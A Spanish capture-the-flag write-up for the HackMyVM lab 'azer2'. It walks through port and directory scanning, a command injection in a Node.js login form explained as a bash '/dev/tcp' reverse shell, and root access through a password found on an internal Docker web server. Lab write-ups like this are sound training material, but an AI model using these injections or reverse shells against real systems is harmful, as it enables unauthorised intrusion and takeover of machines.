20/05/2024
Reconocimiento
El primer paso será realizar un escaneo de red
┌─[ivan@kremvh]─[~/hackmyvm/azer2]
└─[]=> nmap -sT 10.0.0.0/24 --min-rate 4000
Starting Nmap 7.95 ( https://nmap.org ) at 2024-05-19 19:57 CEST
Nmap scan report for 10.0.0.1
Host is up (0.00033s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
Nmap scan report for 10.0.0.22
Host is up (0.00031s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 10.0.0.27
Host is up (0.00039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
3000/tcp open ppp
Nmap done: 256 IP addresses (3 hosts up) scanned in 11.72 seconds
Una vez realizado el reconocimiento inicial e identificada la maquina victima (10.0.0.27) vamos a realizar una identificación más en profundidad de los servicios de la máquina y almacenar el resultado en un archivo por si necesitasemos consultarlo más adelante.
┌─[ivan@kremvh]─[~/hackmyvm/azer2]
└─[]=> nmap -sV 10.0.0.27 --min-rate 4000 -oN ports.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2024-05-19 19:59 CEST
Nmap scan report for 10.0.0.27
Host is up (0.00020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
3000/tcp open http Node.js (Express middleware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.32 seconds
Una vez identificados los puertos abiertos junto con los servicios que se encuentran corriendo en cada uno de ellos vamos a recopilar información
Durante la carga de la página si abrimos las herramientas de desarrollador y vamos a la pestaña de Network encontraremos muchas peticiones a servidores externos como pbs.twimg.com o loserv.org.tr

Tras navegar por la pagina no he encontrado ninguna página almacenada localmente que tuviese algún campo o entrada que pudiese ser util, vamos a usar gobuster para ver si hay algun archivo oculto que pueda darnos información util
┌─[ivan@kremvh]─[~/hackmyvm/azer2]
└─[]=> gobuster dir -u http://10.0.0.27 -w /usr/share/wordlists/discovery/dsstorewordlist.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.27
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/discovery/dsstorewordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/.htpasswds (Status: 403) [Size: 274]
Progress: 1828 / 1829 (99.95%)
===============================================================
Finished
===============================================================
Como podemos ver el diccionario dsstorewordlist.txt nos devuelve 403 (Forbidden) tanto en .htaccess como en .htpasswd y .htpasswds Vamos a probar con un diccionario un poco mas agresivo a ver si encontramos algo de información
┌─[ivan@kremvh]─[~/hackmyvm/azer2]
└─[]=> gobuster dir -u http://10.0.0.27 -w /usr/share/wordlists/discovery/directory-list-2.3-big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.27
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/discovery/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/v6 (Status: 301) [Size: 303] [--> http://10.0.0.27/v6/]
/ik (Status: 301) [Size: 303] [--> http://10.0.0.27/ik/]
/server-status (Status: 403) [Size: 274]
Progress: 1273833 / 1273834 (100.00%)
===============================================================
Finished
===============================================================
Con este diccionario hemos encontrado un par de directorios, pero tras ver su contenido parece que este puerto es un servidor web puesto para despistarnos, vamos a ver que contiene el servidor web de node

El servidor de node nos da la bienvenida con un panel de login, vamos a ver que pasa si iniciamos sesión con un usuario

Ataque
Parece ser que el panel de login intenta llamar un script y usa como argumentos el usuario y la contraseña, podremos inyectar código usando estos campos?

Efectivamente, es vulnerable a inyección, una explicación de como ha funcionado el comando anterior: El servidor node cuando recibe una petición ejecuta el comando /home/azer/get.sh <usuario> <contraseña>
Al utilizar como usuario: || <comando> le estamos diciendo que si falla el primer comando (cosa que como bien nos dice sucede) ejecute el comando que nosotros hemos facilitado, otra forma sería usando ”; <comando>” de esta forma sea cual sea el código de salida del comando anterior se ejecutará A continuacion el comando que le hemos dado realiza lo siguiente: bash -c: Ejecuta toda la parte entrecomillada en una subshell de bash, es decir, invoca el comando bash -i >&: Crea una shell de bash interactiva y redirige tanto stderr como stdout a un mismo destino /dev/tcp/<ip>/<puerto>: Usa pseudoarchivos para crear una conexion tcp que recibe toda la salida de bash -i 0<&1: Redirige stdin a la stdout
Una vez aclarada la inyección de código vamos a investigar la máquina, pero primero, hay que obtener una shell completamente funcional, ya que si hacemos ctrl+c perderemos la sesión (cosa que no queremos)
Para ello seguimos esta guia de Invertebrado https://invertebr4do.github.io/tratamiento-de-tty/#
azer@azer:~$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
## Presionamos ctrl+z
azer@azer:~$ ^Z
[1] + 22211 suspended nc -lvp 8888
┌─[ivan@kremvh]─[~]
└─[]=> stty raw -echo; fg
[1] + 22211 continued nc -lvp 8888
reset
reset: unknown terminal type unknown
Terminal type? xterm
azer@azer:~$ export TERM=vt100
azer@azer:~$ export SHELL=bash
Una vez tenemos nuestra shell vamos a investigar
azer@azer:~$ ls
ls
get.sh
node_modules
package.json
package-lock.json
server.js
user.txt
Si hacemos un ls veremos que tenemos la flag de usuario
Escalada de privilegios
Para escalar privilegios primero vamos a realizar un analisis de los posibles metodos que tenemos
Enumeración de usuarios
azer@azer:~$ cat /etc/passwd | grep -e "/bin/.*sh"
cat /etc/passwd | grep -e "/bin/.*sh"
root:x:0:0:root:/root:/bin/bash
azer:x:1000:1000:,,,:/home/azer:/bin/bash
En el sistema solo hay dos usuarios que tengan una shell establecida, root y azer, por lo tanto, tenemos que intentar escalar directamente de azer a root
Sudo
Vamos a empezar listando los comandos que podemos ejecutar como sudo
azer@azer:~$ sudo -l
sudo -l
bash: sudo: command not found
Poquito vamos a hacer si no hay sudo
SUID / SGID
El siguiente paso va a ser, comprobar los ejecutables que tienen alguno de estos dos bits.
azer@azer:~$ find / -perm /7000 2>/dev/null
find / -perm /7000 2>/dev/null
/run/log/journal
/run/lock
/var/mail
/var/log/journal
/var/log/journal/d7bedef0491c4f4b8a47a911e091d847
/var/local
/var/spool/cron/crontabs
/var/tmp
/sys/fs/bpf
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/unix_chkpwd
/usr/local/share/fonts
/usr/bin/umount
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/dotlockfile
/usr/bin/wall
/usr/bin/expiry
/usr/bin/ssh-agent
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/crontab
/usr/bin/chage
/usr/bin/chsh
/usr/bin/write
/tmp
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
/tmp/.ICE-unix
/dev/mqueue
/dev/shm
De todos estos binarios no hay ninguno que llame la atención, vamos a continuar
azer@azer:~$ find / -perm /4000 2>/dev/null
find / -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
Nuevamente nada, vamos a buscar otros archivos
Procesos activos
Vamos a revisar los procesos activos de la maquina
azer@azer:/opt$ ps -axl
ps -axl
F UID PID PPID PRI NI VSZ RSS WCHAN STAT TTY TIME COMMAND
...
4 0 605 1 20 0 1942180 89008 - Ssl ? 0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
0 0 786 1 20 0 720328 15736 - Sl ? 0:05 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a882ee87a64178db21b2950d2a22276231dd5835fb89325b36358f1b158b679b -address /run/containerd/containerd.sock
...
Parece ser que hay un docker corriendo como root, vamos a ver si podemos utilizar este docker para ganar acceso root, vamos a usar una version estatica de nmap
wget https://github.com/ernw/static-toolbox/releases/download/nmap-v7.94SVN/nmap-7.94SVN-x86_64-portable.tar.gz
Una vez con nmap vamos a inciar el escaneo
azer@azer:~$ ./nmap -sT 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 15:30 EDT
Unable to find nmap-services! Resorting to /etc/services
Unable to find nmap-protocols! Resorting to /etc/protocols
Parse error in protocols file /etc/protocols line 68
Nmap scan report for 10.10.10.1
Host is up (0.00041s latency).
Not shown: 1155 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 10.10.10.10
Host is up (0.00043s latency).
Not shown: 1155 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.09 seconds
Como podemos ver el docker está corriendo en la direccion 10.10.10.10, vamos a ver que tiene el servidor web
azer@azer:~$ curl 10.10.10.10
.:.<REDACTED>.:.
Vemos que tan solo tiene una cadena de texto (no es la que aparece arriba), vamos a intentar usarla para acceder como root
azer@azer:~$ su root
Password:
root@azer:/home/azer# whoami
root
Pues parece que si, con esto habríamos ganado root en la maquina.